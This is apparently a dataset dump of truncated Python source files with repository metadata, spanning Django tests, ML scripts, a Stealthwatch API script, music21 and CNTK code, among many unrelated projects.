8,817
py
Python
vendor/github.com/youtube/vitess/test/binlog.py
danielmt/vshard
86b64e3a4b1050011e796f344ee187ed62e7b283
[ "MIT" ]
null
null
null
vendor/github.com/youtube/vitess/test/binlog.py
danielmt/vshard
86b64e3a4b1050011e796f344ee187ed62e7b283
[ "MIT" ]
null
null
null
vendor/github.com/youtube/vitess/test/binlog.py
danielmt/vshard
86b64e3a4b1050011e796f344ee187ed62e7b283
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2014, Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can # be found in the LICENSE file. # This file contains integration tests for the go/vt/binlog package. # It sets up filtered replication between two sha...
35.409639
79
0.685948
b17bda395127f171f8026010840af1fad23dd424
1,298
py
Python
test_dict_to_digraph.py
opizzato/dict_to_digraph
1ce60269261d9d278f7bdf8ec38b00c3b0fbca67
[ "MIT" ]
null
null
null
test_dict_to_digraph.py
opizzato/dict_to_digraph
1ce60269261d9d278f7bdf8ec38b00c3b0fbca67
[ "MIT" ]
null
null
null
test_dict_to_digraph.py
opizzato/dict_to_digraph
1ce60269261d9d278f7bdf8ec38b00c3b0fbca67
[ "MIT" ]
null
null
null
from dict_to_digraph import * import pytest def test_empty(): assert dict_to_digraph({}, {}).source == 'digraph {\n}' assert dict_to_digraph({'a': {'b': 'c'}}, {'edges': ['a']}).source == 'digraph {\n}' @pytest.fixture def params(): return { 'edge_keys': ['tables', {'union.*': ['table']}, {'tabl...
27.617021
88
0.538521
08a2624fe01c780aaf536f34861efa62fd11356e
863
py
Python
Codigos Python/Maximum_Subarray.py
BrunoHarlis/Solucoes_LeetCode
cca9b1331cbfe7d8dc8d844a810ac651a92d8c97
[ "MIT" ]
null
null
null
Codigos Python/Maximum_Subarray.py
BrunoHarlis/Solucoes_LeetCode
cca9b1331cbfe7d8dc8d844a810ac651a92d8c97
[ "MIT" ]
null
null
null
Codigos Python/Maximum_Subarray.py
BrunoHarlis/Solucoes_LeetCode
cca9b1331cbfe7d8dc8d844a810ac651a92d8c97
[ "MIT" ]
null
null
null
# Fonte: https://leetcode.com/problems/maximum-subarray/ # Autor: Bruno Harlis # Data: 10/08/2021 """ PROBLEMA PROPOSTO: Dado um array de inteiros nums, encontre o subarray contíguo (contendo pelo menos um número) que tem a maior soma e retorna sua soma . Um subarray é uma parte contígua de um array. Exemplo 1: Ent...
21.04878
73
0.614137
182d281ce60961e245b71689790ef50f8607120d
17,149
py
Python
tests/testapp/test_feincms3.py
fabiangermann/feincms3-sites
ba7447898a15431db552127ed6425a9c548a8d9e
[ "BSD-3-Clause" ]
null
null
null
tests/testapp/test_feincms3.py
fabiangermann/feincms3-sites
ba7447898a15431db552127ed6425a9c548a8d9e
[ "BSD-3-Clause" ]
null
null
null
tests/testapp/test_feincms3.py
fabiangermann/feincms3-sites
ba7447898a15431db552127ed6425a9c548a8d9e
[ "BSD-3-Clause" ]
null
null
null
from django.conf import settings from django.contrib.auth.models import User from django.core.exceptions import ImproperlyConfigured, ValidationError from django.test import Client, TestCase from django.test.utils import override_settings from django.urls import set_urlconf from django.utils.translation import deactiva...
33.757874
88
0.603417
72a4cc5e13164d5fcf15173bb087a8add8df43dd
720
py
Python
examples/hop.py
maxhumber/attachment
65d7802143b198c607016b3fe7f9ecafe20099ca
[ "MIT" ]
null
null
null
examples/hop.py
maxhumber/attachment
65d7802143b198c607016b3fe7f9ecafe20099ca
[ "MIT" ]
null
null
null
examples/hop.py
maxhumber/attachment
65d7802143b198c607016b3fe7f9ecafe20099ca
[ "MIT" ]
null
null
null
import gif import matplotlib.pyplot as plt import numpy as np N = 50 red = np.random.normal(loc=45, scale=3, size=N) blue = np.random.normal(loc=48, scale=5, size=N) @gif.frame def plot_hop(i, margin=0.1): plt.figure(figsize=(5, 3), dpi=100) plt.hlines(y=red[i], xmin=0, xmax=1 - margin, colors="r", lw=2) ...
25.714286
69
0.611111
e5e1429301258c8f3fbd64f9b0f9560987c1ab65
1,649
py
Python
bluebottle/projects/migrations/0093_auto_20191106_1206.py
terrameijar/bluebottle
b4f5ba9c4f03e678fdd36091b29240307ea69ffd
[ "BSD-3-Clause" ]
10
2015-05-28T18:26:40.000Z
2021-09-06T10:07:03.000Z
bluebottle/projects/migrations/0093_auto_20191106_1206.py
terrameijar/bluebottle
b4f5ba9c4f03e678fdd36091b29240307ea69ffd
[ "BSD-3-Clause" ]
762
2015-01-15T10:00:59.000Z
2022-03-31T15:35:14.000Z
bluebottle/projects/migrations/0093_auto_20191106_1206.py
terrameijar/bluebottle
b4f5ba9c4f03e678fdd36091b29240307ea69ffd
[ "BSD-3-Clause" ]
9
2015-02-20T13:19:30.000Z
2022-03-08T14:09:17.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.15 on 2019-11-06 11:06 from __future__ import unicode_literals from itertools import groupby from django.db import migrations def create_payouts(apps, schema_editor): return Project = apps.get_model('projects', 'Project') Funding = apps.get_model('fundin...
32.333333
153
0.648878
8279e33b741621fbcfe10f065044f83eff6d9a93
41,238
py
Python
maintenance/pymelControlPanel.py
GlenWalker/pymel
8b69b72e1bb726a66792707af39626a987bf5c21
[ "BSD-3-Clause" ]
null
null
null
maintenance/pymelControlPanel.py
GlenWalker/pymel
8b69b72e1bb726a66792707af39626a987bf5c21
[ "BSD-3-Clause" ]
null
null
null
maintenance/pymelControlPanel.py
GlenWalker/pymel
8b69b72e1bb726a66792707af39626a987bf5c21
[ "BSD-3-Clause" ]
null
null
null
""" UI for controlling how api classes and mel commands are combined into pymel classes. This UI modifies factories.apiToMelData which is pickled out to apiMelBridge. It controls: which mel methods correspond to api methods disabling of api methods preference for overloaded methods (since currently only o...
42.295385
151
0.591299
144fa462399c4726733d1a62f9d2160f5dd5e927
6,847
py
Python
otri/filtering/filter.py
OTRI-Unipd/OTRI
5d1fce470eeb31f5cc75cadfc06d9d2908736052
[ "FSFAP" ]
null
null
null
otri/filtering/filter.py
OTRI-Unipd/OTRI
5d1fce470eeb31f5cc75cadfc06d9d2908736052
[ "FSFAP" ]
34
2020-04-18T13:57:05.000Z
2021-10-05T16:21:56.000Z
otri/filtering/filter.py
OTRI-Unipd/OTRI
5d1fce470eeb31f5cc75cadfc06d9d2908736052
[ "FSFAP" ]
null
null
null
from typing import Sequence, Mapping, Any from .stream import Stream class Filter: ''' Class that defines an atom manipulation filter. To change the order of input streams inspection override the _input_check_order method. ''' def __init__(self, inputs: Sequence[str], outputs: Sequence[str], inpu...
33.4
139
0.595589
4a6e8e07f6ff340417687cd0ea29bded40b6a2c6
4,867
py
Python
src/app/train.py
a-barton/ml-paper-topic-modelling
999d560edbee0586048e732aa4555da3ae618b94
[ "MIT" ]
null
null
null
src/app/train.py
a-barton/ml-paper-topic-modelling
999d560edbee0586048e732aa4555da3ae618b94
[ "MIT" ]
null
null
null
src/app/train.py
a-barton/ml-paper-topic-modelling
999d560edbee0586048e732aa4555da3ae618b94
[ "MIT" ]
null
null
null
# %% ###################### ## Import libraries ## ###################### import pandas as pd from sklearn.feature_extraction.text import CountVectorizer from PTWGuidedLatentDirichletAllocation import PTWGuidedLatentDirichletAllocation # Customised sub-class of sklearn LDA from sklearn.feature_extraction.tex...
33.565517
120
0.594411
183a92059c171b72d2c15ac90d059b2948dbfaa9
1,542
py
Python
fedireads/activitypub/create.py
johnbartholomew/bookwyrm
a6593eced7db88f0a68bd19a0e6ba441bf1053c3
[ "CC0-1.0" ]
null
null
null
fedireads/activitypub/create.py
johnbartholomew/bookwyrm
a6593eced7db88f0a68bd19a0e6ba441bf1053c3
[ "CC0-1.0" ]
null
null
null
fedireads/activitypub/create.py
johnbartholomew/bookwyrm
a6593eced7db88f0a68bd19a0e6ba441bf1053c3
[ "CC0-1.0" ]
null
null
null
''' format Create activities and sign them ''' from base64 import b64encode from Crypto.PublicKey import RSA from Crypto.Signature import pkcs1_15 from Crypto.Hash import SHA256 def get_create(user, status_json): ''' create activitypub json for a Create activity ''' signer = pkcs1_15.new(RSA.import_key(user.pr...
32.808511
72
0.609598
d0bd01cdc26ba30b7d6bc97c18b5b02ef9b9019c
1,803
py
Python
tests/template_backends/test_utils.py
ni-ning/django
2e7ba6057cfc82a15a22b6021cd60cf307152e2d
[ "CNRI-Python-GPL-Compatible", "BSD-3-Clause" ]
61,676
2015-01-01T00:05:13.000Z
2022-03-31T20:37:54.000Z
tests/template_backends/test_utils.py
ni-ning/django
2e7ba6057cfc82a15a22b6021cd60cf307152e2d
[ "CNRI-Python-GPL-Compatible", "BSD-3-Clause" ]
8,884
2015-01-01T00:12:05.000Z
2022-03-31T19:53:11.000Z
tests/template_backends/test_utils.py
mustafa0x/django
d7394cfa13a4d1a02356e3a83e10ec100fbb9948
[ "BSD-3-Clause", "0BSD" ]
33,143
2015-01-01T02:04:52.000Z
2022-03-31T19:42:46.000Z
from django.core.exceptions import ImproperlyConfigured from django.template import engines from django.test import SimpleTestCase, override_settings class TemplateUtilsTests(SimpleTestCase): @override_settings(TEMPLATES=[{'BACKEND': 'raise.import.error'}]) def test_backend_import_error(self): """ ...
37.5625
77
0.658347
7bb6d08476b1ae1b2de7632cbc965f18c0a602ac
19,891
py
Python
stroylux/main/graphql/product/mutations/product.py
vladkoblynsky/shop
aaf027f4111605772624a868a0243b221b97c857
[ "BSD-3-Clause" ]
null
null
null
stroylux/main/graphql/product/mutations/product.py
vladkoblynsky/shop
aaf027f4111605772624a868a0243b221b97c857
[ "BSD-3-Clause" ]
7
2020-09-19T16:24:46.000Z
2022-01-13T03:19:46.000Z
stroylux/main/graphql/product/mutations/product.py
vladkoblynsky/shop
aaf027f4111605772624a868a0243b221b97c857
[ "BSD-3-Clause" ]
null
null
null
from typing import Union, Tuple, List, Iterable import graphene from django.core.exceptions import ValidationError from django.db import transaction from django.db.models import QuerySet, Q from django.utils.text import slugify from graphql_relay import from_global_id from ..utils import create_stocks, validate_attri...
36.972119
109
0.622241
6baa06678877377651b30f79e2db332ae6f222d6
9,359
py
Python
generated/intermediate/ansible-module-rest/azure_rm_apimanagementapiissue_info.py
audevbot/autorest.devops.debug
a507fb6e2dd7826212537f27d583f203aac1c28f
[ "MIT" ]
null
null
null
generated/intermediate/ansible-module-rest/azure_rm_apimanagementapiissue_info.py
audevbot/autorest.devops.debug
a507fb6e2dd7826212537f27d583f203aac1c28f
[ "MIT" ]
null
null
null
generated/intermediate/ansible-module-rest/azure_rm_apimanagementapiissue_info.py
audevbot/autorest.devops.debug
a507fb6e2dd7826212537f27d583f203aac1c28f
[ "MIT" ]
null
null
null
#!/usr/bin/python # # Copyright (c) 2019 Zim Kalinowski, (@zikalino) # # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', ...
30.685246
113
0.523774
d78c69538c37f25203074df84098ee660cf63202
1,184
py
Python
doc/python/submanifold.py
waldyrious/galgebra
b5eb070340434d030dd737a5656fbf709538b0b1
[ "BSD-3-Clause" ]
151
2018-09-18T12:30:14.000Z
2022-03-16T08:02:48.000Z
doc/python/submanifold.py
waldyrious/galgebra
b5eb070340434d030dd737a5656fbf709538b0b1
[ "BSD-3-Clause" ]
454
2018-09-19T01:42:30.000Z
2022-01-18T14:02:00.000Z
doc/python/submanifold.py
waldyrious/galgebra
b5eb070340434d030dd737a5656fbf709538b0b1
[ "BSD-3-Clause" ]
30
2019-02-22T08:25:50.000Z
2022-01-15T05:20:22.000Z
from sympy import symbols, sin, pi, latex from galgebra.ga import Ga from galgebra.printer import Format, xpdf Format() coords = (r, th, phi) = symbols('r,theta,phi', real=True) sp3d = Ga('e_r e_th e_ph', g=[1, r**2, r**2 * sin(th)**2], coords=coords, norm=True) sph_uv = (u, v) = symbols('u,v', real=True) s...
32.888889
68
0.628378
cf78e62715fd25ea7a2d7cdd3fa2ca0045af3e7b
513
py
Python
assignments/autograder/autograde.py
megan-hillis/cs-for-psych
479a5ec1bca95c161e33ca42cd34af1845673497
[ "MIT" ]
64
2020-01-04T04:47:06.000Z
2022-03-22T03:18:51.000Z
assignments/autograder/autograde.py
megan-hillis/cs-for-psych
479a5ec1bca95c161e33ca42cd34af1845673497
[ "MIT" ]
1
2020-01-09T03:30:12.000Z
2021-01-10T21:16:15.000Z
assignments/autograder/autograde.py
megan-hillis/cs-for-psych
479a5ec1bca95c161e33ca42cd34af1845673497
[ "MIT" ]
8
2020-10-22T12:31:35.000Z
2022-02-04T03:43:10.000Z
from grader import autograde, commit_and_push from glob import glob import typer app = typer.Typer() @app.command() def run(path: str, summarize: bool=False, commit: bool=False, push: bool=False, root=None, grader=None, public=None, private=None): grades = autograde(path, plot_it=summarize, root=root, grading_rep...
34.2
133
0.734893
207c28a2fe10c7bfd59e27b10852494a8b78f548
85,180
py
Python
lib/music21/trecento/notation.py
lasconic/randomsheetmusic
862e2991b38531d6c2122c809cf6a7745653df57
[ "MIT" ]
2
2016-12-29T04:34:53.000Z
2017-08-01T20:36:18.000Z
lib/music21/trecento/notation.py
lasconic/randomsheetmusic
862e2991b38531d6c2122c809cf6a7745653df57
[ "MIT" ]
null
null
null
lib/music21/trecento/notation.py
lasconic/randomsheetmusic
862e2991b38531d6c2122c809cf6a7745653df57
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- #------------------------------------------------------------------------------ # Name: trecento.notation.py # Purpose: music21 classes for representing Trecento notation # # Authors: Varun Ramaswamy # Michael Scott Cuthbert # # Copyright: Copyright © 2012 Mich...
43.194726
773
0.56019
27969bd82d727ea032574a6e7973afe086d971d3
662
py
Python
RunGRwave.py
Cloud-RF/python-grwave
483612b0997bc32752b6bc6d709a5b9bcc36fdbf
[ "MIT" ]
1
2021-03-13T00:22:45.000Z
2021-03-13T00:22:45.000Z
RunGRwave.py
Cloud-RF/python-grwave
483612b0997bc32752b6bc6d709a5b9bcc36fdbf
[ "MIT" ]
null
null
null
RunGRwave.py
Cloud-RF/python-grwave
483612b0997bc32752b6bc6d709a5b9bcc36fdbf
[ "MIT" ]
1
2018-11-14T18:43:56.000Z
2018-11-14T18:43:56.000Z
#!/usr/bin/env python """Simple groundwave example, assuming uniform ground parameters""" from matplotlib.pyplot import figure,show import seaborn as sns sns.set_context('talk',1.) # from pygrwave import run_grwave wls = {'freqMHz': 0.89, 'sigma':2e-3, 'epslon':4, 'dmax':400, 'hrr':...
22.066667
67
0.628399
5b11982b1c0ba5cc87eb6061755925197a61394c
74
py
Python
gdpr/purposes/__init__.py
hronecviktor/django-GDPR
fa2a69e6f1d08fe8d2c646074c85fd0dc6ea6b8d
[ "MIT" ]
55
2018-05-24T18:33:43.000Z
2022-03-08T13:42:49.000Z
gdpr/purposes/__init__.py
hronecviktor/django-GDPR
fa2a69e6f1d08fe8d2c646074c85fd0dc6ea6b8d
[ "MIT" ]
14
2018-04-17T19:42:23.000Z
2022-02-10T10:21:08.000Z
gdpr/purposes/__init__.py
hronecviktor/django-GDPR
fa2a69e6f1d08fe8d2c646074c85fd0dc6ea6b8d
[ "MIT" ]
12
2018-04-16T11:41:39.000Z
2021-11-09T12:35:38.000Z
from .default import AbstractPurpose __all__ = ( 'AbstractPurpose' )
12.333333
36
0.72973
6eed6a28002f8146e3aa96a8ea111ac73c6da47e
664
py
Python
src/ihcWrappers/responseDataGetConfiguration.py
F9R/ihcpmslib-wrappers
4a5e37ab2ecc8c8c1a8437992e45b9271ec18826
[ "BSD-2-Clause" ]
1
2022-02-09T06:41:20.000Z
2022-02-09T06:41:20.000Z
src/ihcWrappers/responseDataGetConfiguration.py
F9R/ihcpmslib-wrappers
4a5e37ab2ecc8c8c1a8437992e45b9271ec18826
[ "BSD-2-Clause" ]
null
null
null
src/ihcWrappers/responseDataGetConfiguration.py
F9R/ihcpmslib-wrappers
4a5e37ab2ecc8c8c1a8437992e45b9271ec18826
[ "BSD-2-Clause" ]
null
null
null
from .responseData import ResponseDataWrapper class ResponseDataGetConfigurationWrapper(ResponseDataWrapper): def __init__(self, responseData) -> None: super().__init__(responseData) @property def LogLevel(self) -> str: return self._rd.LogLevelRaw @property def NetworkConfig(self...
25.538462
63
0.698795
231ec49e1a233769c4b642c2230d0212a310a05a
799
py
Python
IMU/VTK-6.2.0/Imaging/Core/Testing/Python/TestPermute.py
timkrentz/SunTracker
9a189cc38f45e5fbc4e4c700d7295a871d022795
[ "MIT" ]
4
2016-03-30T14:31:52.000Z
2019-02-02T05:01:32.000Z
IMU/VTK-6.2.0/Imaging/Core/Testing/Python/TestPermute.py
timkrentz/SunTracker
9a189cc38f45e5fbc4e4c700d7295a871d022795
[ "MIT" ]
null
null
null
IMU/VTK-6.2.0/Imaging/Core/Testing/Python/TestPermute.py
timkrentz/SunTracker
9a189cc38f45e5fbc4e4c700d7295a871d022795
[ "MIT" ]
2
2019-08-30T23:36:13.000Z
2019-11-08T16:52:01.000Z
#!/usr/bin/env python import vtk from vtk.test import Testing from vtk.util.misc import vtkGetDataRoot VTK_DATA_ROOT = vtkGetDataRoot() # Simple viewer for images. # Image pipeline reader = vtk.vtkImageReader() reader.ReleaseDataFlagOff() reader.SetDataByteOrderToLittleEndian() reader.SetDataExtent(0,63,0,6...
28.535714
71
0.770964
209106f9d7af85711fc1ffb589a2b78044b34366
934
py
Python
FLOW016.py
ankitpipalia/codechef-solutions
d10e7f15b74a11655b0e53953a8e2bc7efbf7377
[ "MIT" ]
1
2022-01-23T08:13:17.000Z
2022-01-23T08:13:17.000Z
FLOW016.py
ankitpipalia/codechef-solutions
d10e7f15b74a11655b0e53953a8e2bc7efbf7377
[ "MIT" ]
null
null
null
FLOW016.py
ankitpipalia/codechef-solutions
d10e7f15b74a11655b0e53953a8e2bc7efbf7377
[ "MIT" ]
null
null
null
tcase = int(input()) while(tcase): num1, num2 = input().split(" ") num1 = int(num1) num2 = int(num2) lst = [] if(num1 < num2): for x in range(1,num1): if(num1 % x == 0 and num2 % x == 0): lst.append(x) elif(num1 > num2): for x in range(1,num2):...
19.458333
48
0.430407
42a49b0e804773bd30585df1df70cb7d0f6e8c7a
4,313
py
Python
django/sample/polls/tests.py
jyodroid/python_training
7b17145faed6a005d44a08c2f72a60644705f1e1
[ "Unlicense" ]
null
null
null
django/sample/polls/tests.py
jyodroid/python_training
7b17145faed6a005d44a08c2f72a60644705f1e1
[ "Unlicense" ]
null
null
null
django/sample/polls/tests.py
jyodroid/python_training
7b17145faed6a005d44a08c2f72a60644705f1e1
[ "Unlicense" ]
null
null
null
import datetime from django.utils import timezone from django.urls import reverse from django.test import TestCase from .models import Question class QuestionModelTests(TestCase): def test_was_published_recently_with_future_question(self): """ was_published_recently() returns False for questions ...
38.855856
84
0.665894
d444b02970d181240b9601cc8728aa0dea63e8c9
9,294
py
Python
tests/atom_tests/mock_http_core_test.py
aigarius/aigarius-gdata
de02b42851e766cc9e90cc7636c1b0a40e3c5d27
[ "Apache-2.0" ]
null
null
null
tests/atom_tests/mock_http_core_test.py
aigarius/aigarius-gdata
de02b42851e766cc9e90cc7636c1b0a40e3c5d27
[ "Apache-2.0" ]
null
null
null
tests/atom_tests/mock_http_core_test.py
aigarius/aigarius-gdata
de02b42851e766cc9e90cc7636c1b0a40e3c5d27
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # # Copyright (C) 2009 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
46.47
79
0.678717
536c31f2561a98348d915f8a3dd4718885b39f82
2,146
py
Python
adamacs/pipeline.py
datajoint-company/adamacs
95b1d3bd928f321ad63d6e25ac4b16a0a0771c6b
[ "MIT" ]
null
null
null
adamacs/pipeline.py
datajoint-company/adamacs
95b1d3bd928f321ad63d6e25ac4b16a0a0771c6b
[ "MIT" ]
null
null
null
adamacs/pipeline.py
datajoint-company/adamacs
95b1d3bd928f321ad63d6e25ac4b16a0a0771c6b
[ "MIT" ]
1
2022-02-08T23:01:59.000Z
2022-02-08T23:01:59.000Z
from . import db_prefix __all__ = ['subject', 'surgery', 'session', 'behavior', 'equipment', 'scan', 'imaging', 'train', 'model', 'trial', 'event', 'Equipment', 'Location', 'Subject', 'Project', 'Lab', 'User', 'Session', 'get_session_dir', 'get_bpod_root_data_dir', 'get_dlc_...
43.795918
88
0.662162
42f4ef76c75da2c3926056c8ef18595c310ef7e0
549
py
Python
convokit/__init__.py
sophieball/Cornell-Conversational-Analysis-Toolkit
da65358baffc34a518114be2d94f1748f8e01240
[ "MIT" ]
1
2021-06-10T06:19:23.000Z
2021-06-10T06:19:23.000Z
convokit/__init__.py
sophieball/Cornell-Conversational-Analysis-Toolkit
da65358baffc34a518114be2d94f1748f8e01240
[ "MIT" ]
null
null
null
convokit/__init__.py
sophieball/Cornell-Conversational-Analysis-Toolkit
da65358baffc34a518114be2d94f1748f8e01240
[ "MIT" ]
null
null
null
from .model import * from .util import * from .coordination import * from .politenessStrategies import * from .transformer import * from .convokitPipeline import * from .hyperconvo import * from .speakerConvoDiversity import * from .text_processing import * from .phrasing_motifs import * from .prompt_types import * fro...
27.45
65
0.786885
8133ff6493f27fa6de286f4e818bc40ab02e58df
4,033
py
Python
tests/test_async.py
xitop/edzed
dbe89942e3316a4ee6e98d24111002ffe794ad08
[ "MIT" ]
null
null
null
tests/test_async.py
xitop/edzed
dbe89942e3316a4ee6e98d24111002ffe794ad08
[ "MIT" ]
null
null
null
tests/test_async.py
xitop/edzed
dbe89942e3316a4ee6e98d24111002ffe794ad08
[ "MIT" ]
null
null
null
""" Test asyncio related helpers. """ # pylint: disable=missing-docstring, no-self-use, protected-access # pylint: disable=invalid-name, redefined-outer-name, unused-argument, unused-variable # pylint: disable=wildcard-import, unused-wildcard-import import asyncio import pytest import edzed from edzed.utils import ...
28.401408
86
0.616415
a01f2fa598c4a434ec7d05e08131051b2398933b
3,191
py
Python
alipay/aop/api/request/AlipayOpenAppLingjiuyiwuBatchqueryRequest.py
snowxmas/alipay-sdk-python-all
96870ced60facd96c5bce18d19371720cbda3317
[ "Apache-2.0" ]
213
2018-08-27T16:49:32.000Z
2021-12-29T04:34:12.000Z
alipay/aop/api/request/AlipayOpenAppLingjiuyiwuBatchqueryRequest.py
snowxmas/alipay-sdk-python-all
96870ced60facd96c5bce18d19371720cbda3317
[ "Apache-2.0" ]
29
2018-09-29T06:43:00.000Z
2021-09-02T03:27:32.000Z
alipay/aop/api/request/AlipayOpenAppLingjiuyiwuBatchqueryRequest.py
snowxmas/alipay-sdk-python-all
96870ced60facd96c5bce18d19371720cbda3317
[ "Apache-2.0" ]
59
2018-08-27T16:59:26.000Z
2022-03-25T10:08:15.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.FileItem import FileItem from alipay.aop.api.constant.ParamConstants import * class AlipayOpenAppLingjiuyiwuBatchqueryRequest(object): def __init__(self, biz_model=None): self._biz_model = biz_model self._version = "...
24.929688
142
0.636791
ae2489d480b1eb87d27f3669fe24f44a4bd639c6
27,044
py
Python
contrib/Python/cntk/ops/__init__.py
LowerySJ/steveCNTK
703a54eb073620b3174af0d870300bdb0e8523ec
[ "RSA-MD" ]
null
null
null
contrib/Python/cntk/ops/__init__.py
LowerySJ/steveCNTK
703a54eb073620b3174af0d870300bdb0e8523ec
[ "RSA-MD" ]
null
null
null
contrib/Python/cntk/ops/__init__.py
LowerySJ/steveCNTK
703a54eb073620b3174af0d870300bdb0e8523ec
[ "RSA-MD" ]
null
null
null
# Copyright (c) Microsoft. All rights reserved. # Licensed under the MIT license. See LICENSE.md file in the project root # for full license information. # ============================================================================== import numpy as np ################################################################...
34.319797
206
0.561973
ecb9411ee7b102ff7ab3bbd26d47d981486fc8f8
11,171
py
Python
msgraph-cli-extensions/v1_0/sites_v1_0/azext_sites_v1_0/vendored_sdks/sites/operations/_sites_onenote_notebooks_operations.py
thewahome/msgraph-cli
33127d9efa23a0e5f5303c93242fbdbb73348671
[ "MIT" ]
null
null
null
msgraph-cli-extensions/v1_0/sites_v1_0/azext_sites_v1_0/vendored_sdks/sites/operations/_sites_onenote_notebooks_operations.py
thewahome/msgraph-cli
33127d9efa23a0e5f5303c93242fbdbb73348671
[ "MIT" ]
null
null
null
msgraph-cli-extensions/v1_0/sites_v1_0/azext_sites_v1_0/vendored_sdks/sites/operations/_sites_onenote_notebooks_operations.py
thewahome/msgraph-cli
33127d9efa23a0e5f5303c93242fbdbb73348671
[ "MIT" ]
null
null
null
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
47.53617
185
0.689911
d748ac3d058ca440fb97ee81e409d4116bd0997c
1,384
py
Python
src/logistica/migrations/0002_production_region.py
NachE/CV19_makers_soft_django
0a16302523112fe75add2a888b365bc486419d24
[ "MIT" ]
1
2020-03-19T19:59:30.000Z
2020-03-19T19:59:30.000Z
src/logistica/migrations/0002_production_region.py
NachE/CV19_makers_soft_django
0a16302523112fe75add2a888b365bc486419d24
[ "MIT" ]
4
2021-03-19T09:15:41.000Z
2021-06-10T19:54:12.000Z
src/logistica/migrations/0002_production_region.py
NachE/CV19_makers_soft_django
0a16302523112fe75add2a888b365bc486419d24
[ "MIT" ]
null
null
null
# Generated by Django 2.2.11 on 2020-03-19 19:51 import django.contrib.gis.db.models.fields from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ('logistica', '0001_initial'), ] operations = [ migrations.CreateModel( ...
34.6
118
0.573699
db86d61b6bbcb376b57ea13e69b3f5cf54f57144
7,587
py
Python
fslks/datasets/summarization/tac.py
amoldwin/fslks-misinformation
065ffd8c10a7d1cb7038f46875dbe8414a15752f
[ "MIT" ]
null
null
null
fslks/datasets/summarization/tac.py
amoldwin/fslks-misinformation
065ffd8c10a7d1cb7038f46875dbe8414a15752f
[ "MIT" ]
null
null
null
fslks/datasets/summarization/tac.py
amoldwin/fslks-misinformation
065ffd8c10a7d1cb7038f46875dbe8414a15752f
[ "MIT" ]
null
null
null
""" Module to create MEDIQA-Answer Summarization for Consumer Health Information Question Answering tensorflow dataset. """ import glob import os from xml.etree import ElementTree import numpy as np from sklearn.feature_extraction.text import TfidfVectorizer import tensorflow as tf import tensorflow_datasets.public_...
40.790323
116
0.509819
c87cfb3719a4ef2cf6ea2eccf209e91806a64494
8,554
py
Python
mypackage/model/shared/unet_abandon.py
GHzytp/AtomSegNet
6e80404d8ef97f24697962b1514414bb5e61c08b
[ "MIT" ]
null
null
null
mypackage/model/shared/unet_abandon.py
GHzytp/AtomSegNet
6e80404d8ef97f24697962b1514414bb5e61c08b
[ "MIT" ]
null
null
null
mypackage/model/shared/unet_abandon.py
GHzytp/AtomSegNet
6e80404d8ef97f24697962b1514414bb5e61c08b
[ "MIT" ]
null
null
null
# coding=utf-8 from torch.nn import Module, Sequential, Conv2d, BatchNorm2d, InstanceNorm2d, LeakyReLU, Linear, Sigmoid, Upsample, \ Tanh, Dropout, ReLU, MaxPool2d, AvgPool2d import torch from mypackage.model.shared.basic import getNormLayer, getActiveLayer class NLayer_D(Module): def __init__(self, input_nc=...
47.787709
117
0.509235
8cc7e49fb6836c1cba67216f6ca917c0cb27676c
1,235
py
Python
account/models.py
night-traders/backend
4ca076032ae5ec835dd3e5a1375a828f79793acb
[ "MIT" ]
null
null
null
account/models.py
night-traders/backend
4ca076032ae5ec835dd3e5a1375a828f79793acb
[ "MIT" ]
null
null
null
account/models.py
night-traders/backend
4ca076032ae5ec835dd3e5a1375a828f79793acb
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin, BaseUserManager class UserAccountManager(BaseUserManager): def create_user(self, email, name, password=None): if not email: raise ValueError('Users must have an email address') ...
27.444444
90
0.668826
d93381176a9589ce0219310d5a0e3c2f118a0cf3
3,448
py
Python
python/SOLUTIONS/update_tag_SOLUTION.py
CiscoDevNet/stealthwatch-code-examples
b3313ba97008225706ca22c5c417bd40cc1b4f71
[ "MIT" ]
1
2019-08-06T19:13:04.000Z
2019-08-06T19:13:04.000Z
python/SOLUTIONS/update_tag_SOLUTION.py
CiscoDevNet/stealthwatch-code-examples
b3313ba97008225706ca22c5c417bd40cc1b4f71
[ "MIT" ]
null
null
null
python/SOLUTIONS/update_tag_SOLUTION.py
CiscoDevNet/stealthwatch-code-examples
b3313ba97008225706ca22c5c417bd40cc1b4f71
[ "MIT" ]
1
2022-03-10T16:34:12.000Z
2022-03-10T16:34:12.000Z
#!/usr/bin/env python """ This script will update the details for a specific tag (host group) in Stealthwatch using the REST API. For more information on this API, please visit: https://developer.cisco.com/docs/stealthwatch/ - Script Dependencies: requests Depencency Installation: $ pip install requests S...
35.916667
129
0.74507
92f36dc5738c2057483bd17164c0c1132583de5d
2,260
py
Python
src/transformers/tokenization_longformer.py
dmlap/transformers
79588e6fdb5af8add092fc27dd695ea1ebc68b18
[ "Apache-2.0" ]
647
2020-10-27T01:35:35.000Z
2022-03-29T12:59:11.000Z
src/transformers/tokenization_longformer.py
dmlap/transformers
79588e6fdb5af8add092fc27dd695ea1ebc68b18
[ "Apache-2.0" ]
30
2020-06-07T12:28:07.000Z
2022-03-20T05:26:03.000Z
src/transformers/tokenization_longformer.py
dmlap/transformers
79588e6fdb5af8add092fc27dd695ea1ebc68b18
[ "Apache-2.0" ]
48
2020-07-15T09:45:46.000Z
2022-03-01T07:27:59.000Z
